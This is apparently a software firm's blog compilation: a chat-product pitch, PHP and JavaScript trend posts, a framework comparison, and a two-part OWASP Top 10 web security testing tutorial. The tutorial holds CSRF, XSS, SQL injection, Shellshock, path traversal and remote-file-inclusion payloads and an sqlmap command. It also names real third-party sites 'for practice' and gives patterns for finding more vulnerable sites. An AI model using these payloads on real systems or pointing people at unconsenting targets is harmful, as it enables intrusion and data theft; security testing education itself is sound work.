Web Development

Power of live chat: Boost your conversion by 3.5X

Many online consumers want help from a live person while they are shopping online; in fact, 44% of online consumers say that having questions answered by a live person while in the middle of an online purchase is one of the most important features a Website can offer.

Increase the online sales by 3.5 times with chat solution:

At Mantra we have seen the online chat interfaces increase the online sales of the platform by more than 3.5 times after the Chat service was introduced. We believe that live chat can add real value to your business with its wide range of benefits and functionalities.

One of India’s health insurance company approached us to improve their customer experience. Based on our learning through developing AI Chatbot solutions for enterprise customers, we have developed a Hybrid AI-Enabled Chat Solution which combines the best of traditional and AI chat solution options.

 Our Hybrid AI-Enabled Chat Solution

The core idea is to quickly deploy an Enterprise grade Chat solution for the client (over Mobile, Web or Facebook) with the ability for human agents to carry out meaningful conversations with customers. This conversational data will be input for training a Bot which will over time learn and then start assisting human agents in drafting meaningful responses.  Eventually, when the bot is trained enough, it will be able to take over from Agents with an manual over-ride function always available.

The core USPs of the solution are

a. Quicker Deployment.

b. More meaningful Data for bots to train on.

c. Significant savings in the long-term with agents being replaced.

A Chat interface should be one of your high priority items for website improvement. We can surely help you with that and you don’t need to take our word for that we have already proven results to back it up.

 

Latest PHP Trends in 2018

 

PHP is one of the most simple to use the server-side scripting language. PHP frameworks are developed to complement PHP in many ways as they cater a basic structure and enforce the developers to use coding standards and development guidelines to stabilize the product and standardize the process. So this helps to reduce complexity & facilitates developers with all the comfort to focus on their specific areas without affecting the development of other modules.

I have listed down some of the main PHP frameworks which will remain the popular choice for developers in 2018 as well.

Laravel

According to our recent analysis of Google Trends, it can be clearly noticed that Laravel framework stands out & stands above all the frameworks listed and shall stay at the top in 2018. Since 2015’s Sitepoint survey showed that Laravel framework has an excellent documentation, robust features and a growing support community which made Laravel a clear winner in the list of PHP frameworks. Till now with the launch of Laravel 5.5 framework Google Trends has witnessed an increase in Laravel search results across the globe.

Laravel Framework facilitates many specific packages such the Blade Templating Engine, Artisan, eloquent ORM, Middleware, PHPUnit for Unit Testing, RESTful controllers & being the first one to introduce routing in an abstract way. All because of these extensive features many companies started providing Laravel Development Services to grow their business.

One of the most important functionalities of Laravel is the way it handles NoSQL structures like MongoDB & more. It is easy & comfortable for any developer to get started with Laravel because of its excellent documentation. If you are a developer who wishes to work with PHP then it is very useful to become a PHP Laravel developer.

CodeIgniter

This framework, which has more than 11 years, shot to fame thanks to the relatively unassuming use of resources, simplicity, convenience, a huge number of documents, designed for developers of any level, the absence of restrictions. At one time, Laravel is beginning to develop as a competitor CodeIgniter, so that until recently it was a universal benchmark.

  • CodeIgniter Reactor great support community, including libraries, modules, templates, and documentation;
  • Templates to work with databases, which are very similar to SQL syntax
  • The possibility of caching on the server side;
  • Using the package manager for quick connection of the libraries from the command line.

Symfony

Symfony has been touted for a while now as a very stable, high performance, well documented, and modular project. Symfony is backed by the French SensioLabs and has been developed by them and its community to be a fantastic framework.

  • Symfony defines MVC while many other frameworks try to simply follow MVC rules.
  • The standards of Symfony also make it easier to catch errors and to write high-quality code; its community is growing every year.
  • Symfony is The leading PHP framework to create websites and web applications
  • Laravel uses Symfony

Symfony is used by many big name companies like the BBC and open source project such as Drupal and eZpublish. Symfony was written with stability in mind in a very professional way. Its documentation is extensive, and its community is just as vast. Hence used for building both performances REST APIs, as well as fully fledged web applications.

Yii 

Yii is considered as the best framework in a lot of PHP frameworks. This framework facilitates the development of any kind of web app. It is known for being fast & flexible. Yii 2 is easy to install as it utilizes modern technologies & is backed up by the extensive set of features. Moreover, it supports high extensibility with great security & encourages testing. The launch of Yii 2.0 beta has started attracting developers with its new functionalities, features, changes, bug fixes & more. Yii 2 supports PHP 5.3 and some of the functionalities have been inherited from Yii 1.1

CakePHP

Being one of the oldest frameworks CakePHP retains its user base & is gradually but continuously growing. It also has an impressive portfolio comprising of big brands such as Express & BMW. Alike CodeIgnitor, CakePHP is an ideal framework for beginners. It also supports the rapid development of commercial web apps. It has built-in code generation with a scaffolding functionality to increase the speed of development & numerous packages to carry out general functionalities. Configuration process of CakePHP is a breeze as it reduces the need for unwanted complicated files such as XML or YAML config files. Faster builds are one of the main features along with the security features which include measures to prevent cyber-attacks.

ZEND

Zend Framework is prominently known for its go-to professional framework. It is commonly used for powerful enterprise-level applications. It is built with an extensive set of features such as security, extensibility in mind & performance. Zend isn’t ideal for rapid application development as it was developed with a focus on enterprise applications hence it has an enterprise driven nature with the support of numerous components such as feeds, forms, services and more.

Here is the link to know what were the trends in 2017, Latest PHP trends in 2017

 

Top JavaScript trends to watch in 2018

I am trying to bet on how many new Javascript frameworks will be released each month. I think, the best developer’s game in the past 5 years. I really think 2018 will be the perfect time for learning one framework for one problem and being able to mix them without (I hope) too much issue. At least before the “next big framework” 🙂

Some of the main frameworks to watch in 2018 are here:

GraphQL:

Brings a new way to query data from server to frontend. You can think of it as a new protocol, a communication standard between client and server. Not only for websites, but also for desktop and mobile apps. This concept of “fetching only what you need” is important and should be at the core of every front and back end development. Reducing the size of every network exchange is crucial, especially for users with slow networks. I believe that GraphQL could become a standard in 2018.

React:

who doesn’t know React in 2018? React is actually not easy to learn, I see my students challenged by it everyday. But when all concepts of props, state, life cycle, actions, etc. are mastered, it is a very powerful tool. It will remain a strong Javascript framework in the year to come.

Vue.js:

we witnessed an interesting fight between React and Vue.js in 2017. Both are powerful, but Vue.js is easier to learn than React. The community around it is starting to grow really fast and we hope the industry will continue to adopt it in production.

React Native and Electron:

Two frameworks for desktop and mobile apps. While they are still not at the level of native app languages (iOS, Android and desktop), their performances are really impressive.

Reason

The new way to write React applications; bye bye pure Javascript! It can be trendy, but I believe that with the support of Facebook it could be the next standard for writing React applications. We should keep an eye on it and watch how the language evolves in 2018.

Next and Now

React has a strong ecosystem. Next and Now are proof of it. Easy to use and make React projects ready for production. Deploying and distributing React applications at scale can be challenging, mainly for  small teams. Next and Now are designed to make a developer’s life easier.

Honorable Mentions for 2018:

  •   Lona (created by AirBnB – https://github.com/airbnb/Lona): Transform Sketch files from designer to UI code: iOS, Android, Web and Web mobile. It’s based on a simple app that can solve a lot of communication issues between Designers and Developers. Trust me, both of them think of themselves as rock stars, and like every rock star, they don’t like compromises. Now with Lona, designers can directly integrate and test their creation easily without bothering developers.
  • Aurelia (http://aurelia.io): Is a complete solution for creating your online presence: web, mobile and desktop. I think it can be a good start for any new project or start-up: easy to learn, easy to put in place and good support.

Inputs provided by Guillaume Salva, Full-Stack Software Engineer at Holberton School.

Here, you can find out the trends and frameworks in 2017

 

Web Application Security Testing – Part 2

We have discussed security testing web application in our last week article. Here is the list of remaining web applications security testing tools.

6. SENSITIVE DATA EXPOSURE

Already explained in Broken Authentication and session management

Examples of vulnerable application

  • Data stored in plain text, such as passwords or credit card data (see the first well-known event)
  • Lack of HTTPS on authenticated pages
  • Hashed passwords with lack of salt, making the password easily cracked
  • Tokens disclosed in public source code
  • Browser header caching sensitive data

7. CROSS SITE FORGERY

Cross-Site Request Forgery (CSRF)-also known as XSRF or session riding- attacks, an attacker forces a victim to make an unexpected web request such as a fraudulent bank transaction. For example, an attacker tricks the victim client into calling a banking function in a vulnerable page that transfers money from the victim’s to the attacker’s account. The victim triggers the attack by following an attacker’s link or visiting an attacker’s page. The vulnerable server page doesn’t recheck the authenticity of the victim’s request and allows the transfer to proceed.

The following steps detail the anatomy of a CSRF attack:

  1. Attacker finds functionality in a web application that is vulnerable to CSRF.
  2. Attacker builds a link invoking the vulnerable function and passing the required parameters as to executed the chosen attack.
  3. Attacker waits until the victim client authenticates with the vulnerable web application.
  4. Attacker tricks victim client into following the malicious link.
  5. Victim client sends forged request to vulnerable server.
  6. Vulnerable server allows and executes the forged request.

For example, the link might looks like this when they payload is to transfer money from the victim’s to the attacker’s account:

/makeTransfer?amount=1000&dest=attacker@attackersite.com

The link below sends an email titled Hello to johny@example.com :

/sendMail?to=johny@example.com&title=Hello&body=I+did+not+send+this

Basic Test for Cross-site Request Forgery

Follow these test steps to test against CSRF bugs.

->Find a web application page that performs an action based on a user request.

->Construct a page containing a link or redirect that sends a forged request to the application server. This link usually contains a tag such as an img or iframe (although mostly any tags can be used) with the source address pointing to the request:

<a href=”http://bank.com/transfer.do?acct=MARIA&amount=100000″>View my Pictures!</a>

<img src=”http://bank.com/transfer.do?acct=MARIA&amount=100000″ width=”1″ height=”1″ border=”0″>

->Note that the links above will both generate a GET request. In order to test for POST requests you must create a page containing a form with the URL parameters passed as hidden input, and add a script to automatically submit the form:

<form action=”http://bank.com/transfer.do” method=”post”>

     <input type=”hidden” name=”acct” value=”MARIA”>

     <input type=”hidden” name=”ammount” value=”100000″>

</form>

<script>

     document.forms[0].submit();

</script>

->Open an Internet browser and log in to the web application as a legitimate user.

->Open the page built in step 2 (follow the link if necessary).

->Confirm if the request was successful.

->Repeat test case for every application create/update/delete/mail action.

Expected result: the test fails if the application trusts and processes the forged request.

–Also the cookies can be manipulated.

Another example,

Suppose, we allow users to post images on our forum. What if one of our users posted this image?

<img src=”http://foo.com/logout>

Not really an image, true, but it will force the target URL to be retrieved by any random user who happens to browse that page — using their browser credentials! From the webserver’s perspective, there is no difference whatsoever between a real user initiated browser request and the above image URL retrieval.

If our logout page was a simple HTTP GET that required no confirmation, every user who visited that page would immediately be logged out.

Examples of cross site forgery,

https://hackerone.com/reports/196458

https://hackerone.com/reports/192131

https://hackerone.com/reports/157993

https://hackerone.com/reports/155774

8. MISSING FUNCTION LEVEL ACCESS CONTROL

If the authentication check in sensitive request handlers is insufficient or non-existent the vulnerability can be categorised as Missing Function Level Access Control.

To test for missing function level access control:

The best way to find out if an application has failed to properly restrict function level access is to verify every application function:

  1. Does the UI show navigation to unauthorized functions?
  2. Are server side authentication or authorization checks missing?
  3. Are server side checks done that solely rely on information provided by the attacker?

Using a proxy, browse the application with a privileged role. Then revisit restricted pages using a less privileged role. If the server responses are alike, the My Organisation application is probably vulnerable.

In one potential scenario an attacker simply force browses to target URLs. Consider the following (non-My Organisation) URLs which are both supposed to require authentication. Admin rights are also required for access to the “admin_getappInfo” page.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

If the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the “admin_getappInfo” page, this is a flaw, and may lead the attacker to more improperly protected admin pages.

Example:

https://hackerone.com/reports/27404

9. SHELLSHOCK & HEARTBLEED

Shellshock:

Shellshock is a remote command execution vulnerability in Bash. A series of random characters, () { :; }; , confuses Bash because it doesn’t know what to do with them, so by default, it executes the code after it.

Good read: http://garage4hackers.com/showthread.php?t=6902

Tools used to check Shellshock:

Through command line:

  To determine if your Linux or Unix system is vulnerable, from a command line, type:

        env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

 If the system is vulnerable, the output will be:

 vulnerable

 this is a test

 An unaffected (or patched) system will output:

 bash: warning: x: ignoring function definition attempt

 bash: error importing function definition for `x’

           this is a test

Online tools:

https://pentest-tools.com/network-vulnerability-scanning/bash-shellshock-scanner

http://shellshock.brandonpotter.com/

http://shellshock.iecra.org/

Heartbleed:

It is a critical bug in the OpenSSL’s implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server’s memory, potentially revealing users data, that the server did not intend to reveal.

An attacker can trick OpenSSL into allocating a 64KB buffer, copy more bytes than is necessary into the buffer, send that buffer back, and thus leak the contents of the victim’s memory, 64KB at a time.

Tools used for Heartbleed:

defribulator v1.16

Command→ python ssltest.py example.com (ssltest.py file is available with me)

Online test tool : https://filippo.io/Heartbleed/

Good read : https://blog.bugcrowd.com/heartbleed-exploit-yet/ , http://thehackernews.com/2014/04/heartbleed-bug-explained-10-most.html

For android you can download Bluebox open SSL scanner

Prevention

  • Upgrade the OpenSSL version to 1.0.1g
  • Request revocation of the current SSL certificate
  • Regenerate your private key
  • Request and replace the SSL certificate

Examples of Heartbleed:

https://hackerone.com/reports/49139

https://hackerone.com/reports/44294

https://hackerone.com/reports/6566

https://hackerone.com/reports/6475

10.UNVALIDATED REDIRECTS AND FORWARDS

Unvalidated redirect vulnerabilities occur when an attacker is able to redirect a user to an untrusted site when the user visits a link located on a trusted website. This vulnerability is also often called Open Redirect.

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

How to test?

Spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.

Preventing Unvalidated Redirects and Forwards

  • Simply avoid using redirects and forwards.
  • If used, do not allow the url as user input for the destination. This can usually be done. In this case, you should have a method to validate URL.
  • If user input can’t be avoided, ensure that the supplied value is valid, appropriate for the application, and is authorized for the user.
  • It is recommended that any such destination input be mapped to a value, rather than the actual URL or portion of the URL, and that server side code translate this value to the target URL.
  • Sanitize input by creating a list of trusted URL’s (lists of hosts or a regex).
  • Force all redirects to first go through a page notifying users that they are going off of your site, and have them click a link to confirm.

Example:

https://hackerone.com/reports/175168

https://hackerone.com/reports/169759

This article is written by our QA Rijin Raj.

Web Application Security Testing – Part 1

eb33b40e2bf41c3e815d4401ee514792ea7fe4dc1eb21845_1920

The Open Web Application Security Project (OWASP) is an international organization dedicated to enhancing the security of web applications.

The conference held at Mantra Labs by one of our experienced test engineer Rijin. Here he has  discussed the current top 10 web application security risks worldwide. The list describes each vulnerability, provides examples, and offers suggestions on how to avoid it.

The top 10 web application security risks worldwide are:

  1. Injection
  2. Broken authentication and session management
  3. Cross-site scripting
  4. Indirect object security reference
  5. Security misconfiguration
  6. Sensitive data exposure
  7. Missing function level access control
  8. Cross site forgery
  9. Using components with known vulnerabilities: Heartbleed and Shellshock
  10. Unvalidated redirects and forwards

Link to Hackerone Bug reports:

https://h1.sintheticlabs.com/

From here you can take the understanding and would get an idea of ongoing security issues/bugs. How the hackers are exploiting the web applications. Various security/penetration bugs are listed here.

https://www.exploit-db.com/exploits/42309/

 

  1. INJECTION

This is when an attacker sends rogue content to a web application interpreter causing the interpreter to execute authorized commands. The most common of the code injection attacks are SQL Injections, also known as SQLi. An SQLi attack is done when malformed code is sent to the database server, thus leading to the exposure of your data. And this attack style is so simple and easy, anyone with access to the internet can do it – SQLi scripts are available for download and can be acquired easily.

How is it done?

The character “‘” is entered into the search field and pressing the button leads to an error page which displays more information than needed.

This example showcases a badly and insecurely programmed application that is incapable of handling SQL Injections. Just a few illegal characters with a little sniffing around leads the hacker to this string: “‘ union select password from users;”. He can then implement this finding to harvest usernames and passwords from the database. This is just one basic way to exploit application databases.

Tool commonly used for SQL Injection

SQLmap

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

It is commonly used in Kali-linux.

After finding a vulnerable page you can find database by typing :

sqlmap –u (url) –dbs

Guide to exploit via sqlmap

https://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/

https://www.hackers-arise.com/single-post/2017/01/20/Database-Hacking-Part-3-Using-sqlmap-for-SQL-Injection-Against-MySQL-and-WordPress

For practice you can use the following websites:

http://www.shumka.com/shumka-at-50/news/index.php?id=847

http://waytogonatural.com/product_detail.php?ID=4526

You can also find SQL vulnerable website on your own. You just have to look for

  • php?id=(any Number)
  • login.php?id=(any number)
  • index.php?id=(any number)

Examples of SQL injection:

https://hackerone.com/reports/200818

https://hackerone.com/reports/179751

2.BROKEN AUTHENTICATION AND SESSION MANAGEMENT

Incorrect implementation of authentication schemes and session management can allow unauthorized users to assume the identities of valid users.

Broken Authentication and Session Management attacks are anonymous attacks with the intention to try and retrieve passwords, user account information, IDs and other details.

Key Points to check if you are vulnerable:

  1. User authentication credentials aren’t protected when stored using hashing or encryption.
  2. Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs).
  3. Session IDs are exposed in the URL (e.g., URL rewriting).
  4. Session IDs are vulnerable to session fixation attacks.
  5. Session IDs don’t timeout, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, aren’t properly invalidated during logout.
  6. Session IDs aren’t rotated after successful login.
  7. Passwords, session IDs, and other credentials are sent over unencrypted connections.

Examples of attack scenarios:

Scenario #1:

Airline reservations application supports URL rewriting, putting session IDs in the URL:

http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii

An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.

Scenario #2:

Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.

Scenario #3:

Insider or external attacker gains access to the system’s password database. User passwords are not properly hashed, exposing every user’s’ password to the attacker.

Vulnerability to ‘Sensitive Data exposure’:

 

  1. Is any of this data stored in clear text long term, including backups of this data?
  2. Is any of this data transmitted in clear text, internally or externally? Internet traffic is especially dangerous.
  3. Are any old / weak cryptographic algorithms used?
  4. Are weak crypto keys generated, or is proper key management or rotation missing?
  5. Are any browser security directives or headers missing when sensitive data is provided by / sent to the browser? (Nikto)

Prevention from Sensitive data exposure:

  1. Make sure you encrypt all sensitive data .
  2. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen.
  3. Ensure strong standard algorithms and strong keys are used, and proper key management is in place.
  4. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.
  5. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.

Protection against broken authentication and session management:

Password Strength

-Minimum size and complexity.

-Complexity depends on the usage of combinations of alphabetic, numeric, and/or non-                              alphanumeric characters

-Change password periodically

-Prevent from reusing previous passwords.

Password Use 

-Restrict to a defined number of login attempts per unit of time and repeated failed login                           attempts should be logged.

-System should not indicate whether it was the username or password that was wrong if a                           login  attempt fails.

Password Change Controls 

-Users should always be required to provide both their old and new password when changing                   their password .

-If forgotten passwords are emailed to users, the system should require the user to                                      reauthenticate whenever the user is changing their e-mail address, otherwise an attacker who                  temporarily has access to their session (e.g., by walking up to their computer while they are                       logged in) can simply change their e-mail address and request a ‘forgotten’ password be                           mailed to them.

Password Storage 

-Passwords must be stored in either hashed or encrypted form

-Encryption should be used when the plain text password is needed

Session ID Protection

-A user’s entire session should be protected via SSL.

-Session ID should never be included in the URL as they can be cached by the browser.

-Session IDs should be long, complicated, random numbers that cannot be easily guessed.

-Session IDs can also be changed frequently during a session to reduce how long a session ID                   is valid. Session IDs must be changed when switching to SSL, authenticating, or other major                   transitions.

Browser Caching 

-Authentication and session data should never be submitted as part of a GET, POST should                      always be used instead.

-Authentication pages should be marked with all varieties of the no cache tag to prevent                            someone from using the back button in a user’s browser to backup to the login page and                            resubmit the previously typed in credentials.

Examples of broken authentication and session management:

3.CROSS SITE SCRIPTING

This is when a browser unknowingly executes scripts to hijack sessions or redirect to a rogue site.

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

There are basically two types of XSS:

a)Stored XSS

b)Reflected XSS

Stored XSS

  • A Stored Cross Site Scripting vulnerability occurs when the malicious user can store some attack which will be called at a later time upon some other unknowing user. The attack is actually stored in some method to be later executed.
  • The storage of a method could involve a database, or a wiki, or blog. Basically the malicious user has stored some type of attack, that when an unknowing user will encounter this, the attack will be executed. The stored method actually not only has the problem of incorrect checking for input validation, but also for output validation. Even if data has been sanitized upon input, it should also be checked for in the output process. By checking and validated the output, you could also uncover unknown issues during the input validation process.

Reflected XSS

  • The malicious user has discovered that a field within a website or web application holds a XSS vulnerability. This malicious user then crafts a way to use the vulnerability to execute something malicious to some unknown user. Reflected XSS vulnerabilities occur when a unknowing user is directed to a web application that has a XSS vulnerability, by the malicious user. Once the unknowing user gets to the web site or application the malicious user’s attack is executed.
  • The attack is crafted by a series of url parameters that are sent via a url. The malicious user then sends his/her malicious url with the url parameters to unknowing users. This is typically sent by email, instant messages, blogs or forums, or any other possible methods.

How to test for XSS injection vulnerabilities, example:

You can determine if a web-based application is vulnerable to XSS attacks very easily. A simple easy test is to take a current parameter that is sent in the HTTP GET request and modify it. Take for example the following request in the browser address URL bar. This url will take a name parameter that you enter in a textbox and print something on the page. Like “Hello George, thank you for coming to my site” http://www.yoursite.com/index.html?name=george And modify it so that add an extra some additional information to the parameter. For example try entering something similar to the following request in the browser address URL bar.

http://www.yoursite.com/index.html?name=<script>alert(‘You just found a XSS vulnerability’)</script>

If this pops up an alert message box stating “You just found a XSS vulnerability”, then you know this parameter is vulnerable to XSS attacks. The parameter name is not being validating, it is allowing anything to be processed as a name, including a malicious script that is injected into the parameter passed in. Basically what is occurring is normally where the name George would be entered on the page the </script></script> message is instead being written to the dynamic page.

The alert message just is an example of how to test for the XSS vulnerability.

Some examples of cross-site scripting attack vectors:

http://hackersonlineclub.com/cross-site-scripting-xss/

Tools that can be used:

Zaproxy: It’s a freeware.

https://github.com/zaproxy/zaproxy/wiki/Downloads

Also Burp Suite and Beef can be used to find out XSS vulnerability.

4.INDIRECT OBJECT SECURITY REFERENCE

An attacker can access a reference to a file or directory and manipulate that reference to gain unauthorized access to other objects.

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. An attacker can manipulate direct object references to access other objects without authorization, unless an access control check is in place.

  • Vulnerability to Insecure Direct Object References
  1. For direct references to restricted resources, does the application fail to verify the user is authorized to access the exact resource they have requested?
  2. If the reference is an indirect reference, does the mapping to the direct reference fail to limit the values to those authorized for the current user?
  • To test Insecure Direct Object References

To test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more. Next the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.

The best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functions. For example two users each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users) to see whether there are direct references to application functionality. By having multiple users the tester saves valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.

Some basic examples:

The value of a parameter is used directly to retrieve a database record

Sample request:

http://foo.bar/somepage?invoice=12345

  • In this case, the value of the invoice parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user.
  • Since the value of invoice goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs. To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization.

Examples of the attack:

https://hackerone.com/reports/12011

https://hackerone.com/reports/42587

Testing traversal/file include

Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible.

Testing techniques to test this flaw

In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. Here are some examples of the checks to be performed at this stage:

Are there request parameters which could be used for file-related operations?

Are there unusual file extensions?

Are there interesting variable names?

http://example.com/getUserProfile.jsp?item=ikki.html

http://example.com/index.php?file=content

http://example.com/main.cgi?home=index.htm

An attacker could insert the malicious string “../../../../etc/passwd” to include the password hash file of a Linux/UNIX system. This kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

It also possible to include files and scripts located on external website.

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

If protocols are accepted as arguments, as in the above example, it’s also possible to probe the local filesystem this way.

http://example.com/index.php?file=file:///etc/passwd

If protocols are accepted as arguments, as in the above examples, it’s also possible to probe the local services and nearby services.

http://example.com/index.php?file=http://localhost:8080 or http://example.com/index.php?file=http://192.168.0.2:9080

Example of path traversal: https://hackerone.com/reports/150018

5.SECURITY MISCONFIGURATION

Improper server or web application configuration leading to various flaws.

  • Debugging enabled
  • Incorrect folder permissions
  • Using default accounts or passwords

Vulnerability to Security Misconfiguration

Is your application missing the proper security hardening across any part of the application stack? Including:

  1. Is any of your software out of date? This software includes the OS, Web/App Server, DBMS, applications, APIs, and all components and libraries.
  2. Are any unnecessary features enabled or installed (e.g., ports, services, pages, accounts, privileges)?
  3. Are default accounts and their passwords still enabled and unchanged?
  4. Does your error handling reveal stack traces or other overly informative error messages to users?
  5. Are the security settings in your application servers, application frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values?

Attack scenarios:

Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Scenario #2: Directory listing is not disabled on your web server. An attacker discovers they can simply list directories to find any file. The attacker finds and downloads all your compiled Java classes, which they decompile and reverse engineer to get all your custom code. Attacker then finds a serious access control flaw in your application.

Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws such as framework versions that are known to be vulnerable.

Scenario #4: App server comes with sample applications that are not removed from your production server. These sample applications have well known security flaws attackers can use to compromise your server.

Protection against Security misconfigurations:

  • Install latest updates and security patches. Have an easy to manage updating process with test environments to check updates before deploying to production environments.
  • Remove sample applications that ship with content delivery systems and web frameworks. Most tools that help build web applications include demo and sample code to help teach developers how to use the tools and get you started. These samples and demos should be removed. They provide a known target for anyone attempting to compromise web application security.
  • Remove unused features, plugins and web pages. Only include the parts of web applications that you need to provide your service to end users. Remove any plugins or functionality that you are not using.
  • Turn off access to setup and configuration pages. Don’t leave the setup and configuration pages available for users to use.
  • Change usernames, passwords and ports for default accounts. Web application frameworks and libraries often ship with default administration names, passwords and access ports enabled. Everyone knows these. Change all these to non standard usernames, passwords and ports.
  • Don’t share passwords between accounts on Dev, Test and Production systems. Related to the point above. Don’t use the same administration accounts and settings across your Dev, Test and Production systems.
  • Turn off debugging so that internal info isn’t sent back in response to test queries or errors. Excessive debugging information can be used to glean information about a web applications configuration.

Good read :

https://lockmedown.com/owasp-5-security-misconfiguration-hardening-your-asp-net-app/

Stay tuned for rest of the security risks, they are coming shortly.

Laravel 5.4 Vs Yii2 : PHP Frameworks Comparison

 laravel

PHP frameworks make development faster. Among various frameworks, Laravel & Yii are two widely used frameworks. Recent releases are Laravel 5.4 & Yii2, we have analyzed the functioning of both these frameworks from the developer’s point of view.

Requirements

Yii is used by programmers for developing web portals and much more. The latest version Yii2 requires PHP5.4 or higher versions.
Laravel is designed for the purpose of building high-end web applications. Laravel 5.4 will be functioning only on PHP 5.6.4 or higher end versions.
Laravel Requires OpenSSL Extension, Mbstring Extension, Tokenizer Extension also.

Extensions

Both Frameworks offering various kinds of useful extensions. Programmers can find many valuable extensions in these frameworks. Laravel has a various number of user contributed / commercial extensions compared to Yii2. It has various kind of extensions providing different scopes in functionality which is ahead of Yii.

Object Relational Mapping

Yii2 Framework feature data access objects, Doctrine2 through plugins and Active Record Pattern. Laravel Also provides the same.

The object relational mapping (ORM ) of Laravel is Eloquent and Yii is Active Record.

Security

Yii2 and Laravel5.4 both have more security features related to authentication, authorization, SQL injections, CSRF coupled with the core code. Whereas Laravel provides these security measures with several extension packages.

Performance

When it comes to the performance of these two frameworks Yii is considerably fast when we compare with Laravel. Laravel5.4 takes 2ms as application startup time whereas Yii2 startup time is1ms.
Also, Yii has a wonderful caching system and supports DB based page, Memcache, XCache, segment caching and APC. While in Laravel cache necessities include Database, Memcached, and Redis.

Templating Engine

Laravel5.4 Using blade templating, which is simple yet powerful templating engine where you can use plain PHP code into views unlike other PHP templating engines. Blade view files are stored in .blade.php file extension. Vue.js javascript frameworks can be used for Laravel.
Yii doesn’t use any third party templating system by default. Still, Twig Or Smarty Template Engines can be used.

Conclusion

The selection of framework is clearly based on project requirements, Yii overtakes Laravel in some aspects like security and fast performance. Programmers should use the Laravel framework to avoid coding flaws.

Both these frameworks have their own pros and cons but Laravel and Yii both are excellent frameworks to work on.

7 Reasons why PHP is getting so popular

Php

Millions of websites developed and still counting. Do you think why PHP Web Development is so popular? Apart from these benefits like open source, free, there are a lot of other benefits of PHP which attracts developers & clients towards it.

So, let us take a look at some of the most important reasons why PHP is so popular.

Simplicity

PHP programming is just like composing an English article for the computer. Aside from the fact that the language is bits and bytes, It is compatible to be run on any system productively. Writing a PHP script is pretty straight forward and as opposed to another language. Thus programmers can write profoundly customized scripts.

Zero cost

PHP is an open source framework, meaning that it is free, handy and supported by loads of documentation. All of it makes PHP one of the savviest systems that have found its way into popular applications like Facebook, Twitter, Wikipedia, WordPress and more. Being open source also means that PHP is readily available for new developers who want to test their aptitude in coding.

Works exceptionally well with CMS

PHP makes scripting amoebic, allowing developers to change codes as and when they will. All PHP websites are fully customizable and can be transformed to meet the requirements of the customers with ease because Content Management Systems like WordPress, Drupal, Joomla and others are primarily based on PHP. Hence, developing or integrating a robust custom-made CMS solution with your website is simple.

Versatile

Any PHP code can be run on all significant platforms, allowing designers to coordinate the sites in its different stages. For businesses, this would mean cost effective utilisation of the current framework and work on platforms like UNIX, Linux, and Windows and further an extra support to integrate Apace and MySQL.

Flexible, measurable and effective

This is clearly understood from the fact that the biggest social network, Facebook, runs on PHP. The usefulness of PHP for such a dynamic platform has also led to the creation of “Hack”, a subordinate language, to meet the changing development needs. PHP doesn’t require a server reboot to be updated as opposed to other competing languages.

Extensions and other ad-ons

PHP is the most adaptable language in the field of web development. It allows designers to create and add more updated functionalities that keep the end users hooked. Further, extensions and plugins help new developers cope up with the programming challenges.

Large Community/Libraries

